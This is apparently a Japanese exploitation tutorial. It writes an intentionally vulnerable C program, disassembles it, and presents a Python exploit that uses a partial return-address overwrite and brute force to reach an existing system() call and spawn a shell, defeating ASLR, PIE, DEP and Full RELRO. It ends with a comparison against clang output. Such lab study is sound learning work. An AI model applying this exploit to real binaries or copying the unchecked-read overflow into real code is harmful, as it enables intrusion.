x64でPartial overwriteとsystem関数を使ったASLR+PIE+DEP+FullRELRO回避について考えてみる

「x64でBuffer over-read+Partial overwrite他によるASLR+PIE+DEP+FullRELRO回避をやってみる」では、Buffer over-readによるInformation leakを利用してx64環境かつPIEが有効な条件下におけるシェル起動を行った。 ここでは、Information leakを利用する代わりにソースコード中で使われているsystem関数を利用することで、PIE回避が可能な状況について考えてみる。

環境

Ubuntu 14.04.1 LTS 64bit版

$ uname -a
Linux vm-ubuntu64 3.13.0-32-generic #57-Ubuntu SMP Tue Jul 15 03:51:08 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux

$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 14.04.1 LTS
Release:        14.04
Codename:       trusty

$ gcc --version
gcc (Ubuntu 4.8.2-19ubuntu1) 4.8.2

$ clang --version
Ubuntu clang version 3.4-1ubuntu3 (tags/RELEASE_34/final) (based on LLVM 3.4)

脆弱性のあるコードを書いてみる

まず、system関数がソースコード中で呼ばれているという条件のもと、スタックバッファオーバーフローを起こせるコードを書く。

/* bof.c */
#include <unistd.h>
#include <stdlib.h>
#include <string.h>

void anywhere()
{
    char buf[] = "echo foobar";
    system(buf);
}

char *f(char *p, int p_size)
{
    char buf[100];
    int size;
    read(0, &size, 8);
    read(0, buf, size);
    strncpy(p, buf, p_size);
    return p;
}

int main()
{
    char *p;
    int p_size = 20;
    p = malloc(p_size);
    f(p, p_size);
    free(p);
    return 0;
}

このコードは最初に8バイトのデータ長を読み込み、続くデータをそのデータ長だけ読み込んだ後、そのデータをmalloc関数で確保したバッファにコピーする。 また、関数fはコピーした文字列を戻り値として戻すようになっており、anywhere関数の中で呼ばれるsystem関数自体はシェルを起動しない。

gccを使い、ASLR、PIE、DEP、RELRO有効、SSP無効でコンパイルし実行してみる。

$ sudo sysctl -w kernel.randomize_va_space=2
kernel.randomize_va_space = 2

$ gcc -fno-stack-protector -Wl,-z,relro,-z,now -fPIE -pie bof.c

$ echo -en "\x04\x00\x00\x00\x00\x00\x00\x00AAAA" | ./a.out

$ echo $?
0

このプログラムは何も出力しないが、プログラム自体は正常終了していることが確認できる。

文字列を指すポインタを返す関数とgccにおける関数呼び出し

コンパイルしたプログラムをディスアセンブルして、関数anywhereに対応する部分を見てみると次のようになる。

$ objdump -d a.out | sed -n '/<anywhere>:/,/^$/p'
00000000000008a5 <anywhere>:
 8a5:   55                      push   rbp
 8a6:   48 89 e5                mov    rbp,rsp
 8a9:   48 83 ec 10             sub    rsp,0x10
 8ad:   48 b8 65 63 68 6f 20    movabs rax,0x6f6f66206f686365
 8b4:   66 6f 6f
 8b7:   48 89 45 f0             mov    QWORD PTR [rbp-0x10],rax
 8bb:   c7 45 f8 62 61 72 00    mov    DWORD PTR [rbp-0x8],0x726162
 8c2:   48 8d 45 f0             lea    rax,[rbp-0x10]
 8c6:   48 89 c7                mov    rdi,rax
 8c9:   e8 62 fe ff ff          call   730 <system@plt>
 8ce:   c9                      leave
 8cf:   c3                      ret

ここで、8c6の箇所で第一引数がセットされるrdiレジスタがraxレジスタからmovされていることに注目する。 raxレジスタには基本的に関数の戻り値がセットされる。 これを踏まえ、関数fに対応する部分を見てみると次のようになる。

$ objdump -d a.out | sed -n '/<f>:/,/^$/p'
00000000000008d0 <f>:
 ...
 915:   8b 85 74 ff ff ff       mov    eax,DWORD PTR [rbp-0x8c]
 91b:   48 63 d0                movsxd rdx,eax
 91e:   48 8d 4d 90             lea    rcx,[rbp-0x70]
 922:   48 8b 85 78 ff ff ff    mov    rax,QWORD PTR [rbp-0x88]
 929:   48 89 ce                mov    rsi,rcx
 92c:   48 89 c7                mov    rdi,rax
 92f:   e8 ec fd ff ff          call   720 <strncpy@plt>
 934:   48 8b 85 78 ff ff ff    mov    rax,QWORD PTR [rbp-0x88]
 93b:   c9                      leave
 93c:   c3                      ret

raxには関数fの戻り値であるバッファのアドレス[rbp-0x88]が入っている。 このバッファには入力した文字列が入るため、ここに引数としたい文字列をセットして上述の8c6にジャンプできれば任意のコマンドが実行できることになる。

main関数から関数fを呼び出している部分を調べてみる。

$ objdump -d a.out | sed -n '/<main>:/,/^$/p'
000000000000093d <main>:
 ...
 959:   48 89 45 f0             mov    QWORD PTR [rbp-0x10],rax
 95d:   8b 55 fc                mov    edx,DWORD PTR [rbp-0x4]
 960:   48 8b 45 f0             mov    rax,QWORD PTR [rbp-0x10]
 964:   89 d6                   mov    esi,edx
 966:   48 89 c7                mov    rdi,rax
 969:   e8 62 ff ff ff          call   8d0 <f>
 96e:   48 8b 45 f0             mov    rax,QWORD PTR [rbp-0x10]
 972:   48 89 c7                mov    rdi,rax
 975:   e8 96 fd ff ff          call   710 <free@plt>
 97a:   b8 00 00 00 00          mov    eax,0x0
 97f:   c9                      leave
 980:   c3                      ret

上の結果から、リターンアドレスは96eとなることがわかる。 したがって、Partial overwriteを利用して関数fのリターンアドレスをX96e→X8c6(Xは共通のランダムな4ビット)に書き換えれば、残り4ビットのブルートフォース、すなわち16回程度の試行でジャンプが成功する。

エクスプロイトコードを書いてみる

上の内容をもとに、エクスプロイトコードを書くと次のようになる。

# exploit.py
import sys
import struct
from subprocess import Popen, PIPE

bufsize = int(sys.argv[1])

addr_call_system = 0x8c6

buf = '/bin/sh <&2 >&2\x00'
buf += 'A' * (bufsize-len(buf))
buf += 'A' * (8-len(buf)%8)
buf += 'AAAAAAAA' * 2
buf += struct.pack('<H', addr_call_system & 0xFFFF)  # partial overwrite

i = 0
while True:
    print i
    i += 1

    p = Popen(['./a.out'], stdin=PIPE, stdout=PIPE)
    p.stdin.write(struct.pack('<Q', len(buf)))
    p.stdin.write(buf)
    p.wait()

このコードは、オーバーフローさせるバッファのサイズを引数に取る。

引数をセットし実行してみる。

$ python exploit.py 100
0
1
2
3
4
$ id
uid=1000(user) gid=1000(user) groups=1000(user)
$ [CTRL+D]
[CTRL+C]

この場合は5回目の試行でシェルを起動することができた。

clangでコンパイルするとどうなるか

さらに、gccの代わりにclangでコンパイルし、関数anywhereのディスアセンブル結果を調べてみる。

$ clang -fno-stack-protector -Wl,-z,relro,-z,now -fPIE -pie bof.c

$ objdump -d a.out | sed -n '/<anywhere>:/,/^$/p'
00000000000008b0 <anywhere>:
 8b0:   55                      push   rbp
 8b1:   48 89 e5                mov    rbp,rsp
 8b4:   48 83 ec 10             sub    rsp,0x10
 8b8:   48 8d 7d f4             lea    rdi,[rbp-0xc]
 8bc:   48 8b 05 71 01 00 00    mov    rax,QWORD PTR [rip+0x171]        # a34 <_IO_stdin_used+0x4>
 8c3:   48 89 45 f4             mov    QWORD PTR [rbp-0xc],rax
 8c7:   8b 0d 6f 01 00 00       mov    ecx,DWORD PTR [rip+0x16f]        # a3c <_IO_stdin_used+0xc>
 8cd:   89 4d fc                mov    DWORD PTR [rbp-0x4],ecx
 8d0:   e8 5b fe ff ff          call   730 <system@plt>
 8d5:   89 45 f0                mov    DWORD PTR [rbp-0x10],eax
 8d8:   48 83 c4 10             add    rsp,0x10
 8dc:   5d                      pop    rbp
 8dd:   c3                      ret

上の結果から、rdiレジスタにスタック上のアドレスをセットしてから、そのアドレスにraxレジスタの値をセットしていることがわかる。 しかし、その間で実行ファイル中のアドレスを直接指定する形でraxレジスタに値が代入されていることから、今回の方法は適用できない。 実際、今回の方法は、gccコンパイルする際、ローカル変数の初期化と同時に行われる文字列の代入を即値のmovで行うという挙動に依存したものであり、コンパイラが第一引数となるrdiレジスタへの値のセットにraxレジスタを使う点も仕様によって定められたものではない。 したがって、今回の方法が適用できるかどうかは、ソースコード中においてsystem関数の引数がどのように組み立てられているか、そしてそれをコンパイラがどのようにコンパイルするかに大きく依存するといえる。

関連リンク